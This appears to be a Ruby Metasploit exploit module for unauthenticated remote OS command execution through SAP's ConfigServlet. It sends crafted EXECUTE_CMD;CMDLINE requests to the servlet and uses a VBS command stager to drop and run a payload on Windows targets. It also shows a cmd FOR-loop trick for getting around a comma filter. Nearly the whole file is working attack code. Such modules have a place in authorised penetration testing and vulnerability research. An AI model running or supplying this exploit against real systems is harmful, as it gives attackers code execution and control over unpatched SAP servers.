|
require 'msf/core'
class Metasploit3 < Msf::Exploit include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS
def initialize(info = {}) super(update_info(info, 'Name' => 'SAP ConfigServlet OS Command Execution', 'Description' => %q{ This module allows remote code execution via operating system commands through the SAP ConfigServlet without any authentication. }, 'Author' => [ 'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation) 'Andras Kabai' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'] ], 'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation 'Platform' => 'win', 'Targets' => [ [ 'Windows generic', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'Privileged' => false ))
register_options( [ Opt::RPORT(50000), OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']) ], self.class) end
def exploit print_status("#{rhost}:#{rport} - Exploiting remote system") uri = normalize_uri(target_uri.path, 'ConfigServlet')
execute_cmdstager( { :linemax => 1500, :nodelete => true, :sap_configservlet_uri => uri }) end
def execute_command(cmd, opts) commands = cmd.split(/&/) commands.each do |command| if command.include?(".vbs") and command.include?(",") # becasue the comma is bad character and the VBS stager contains commas it is necessary to "create" commas withouth directly using them # using the following command line trick it is possible to echo commas into the right places command.gsub!(",", "%i") command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command else command = "cmd /c " + command end vprint_status("Attempting to execute: #{command}") send_evil_request(opts[:sap_configservlet_uri], command) end end def send_evil_request(uri, cmd) begin res = send_request_cgi( { 'uri' => uri, 'method' => 'GET', 'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd) })
if !res or res.code != 200 print_error("#{rhost}:#{rport} - Exploit failed.") fail_with(Exploit::Failure::UnexpectedReply) end rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} - Failed to connect to the server") fail_with(Exploit::Failure::Unreachable) end
if res.body.include?("Process created") if target['Arch'] == ARCH_CMD print_good("#{rhost}:#{rport} - Exploited successfully\n") print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") print_line("#{rhost}:#{rport} - Output: #{res.body}") end else print_error("#{rhost}:#{rport} - Exploit failed.") vprint_error("#{rhost}:#{rport} - Output: #{res.body}") fail_with(Exploit::Failure::PayloadFailed) end end end
|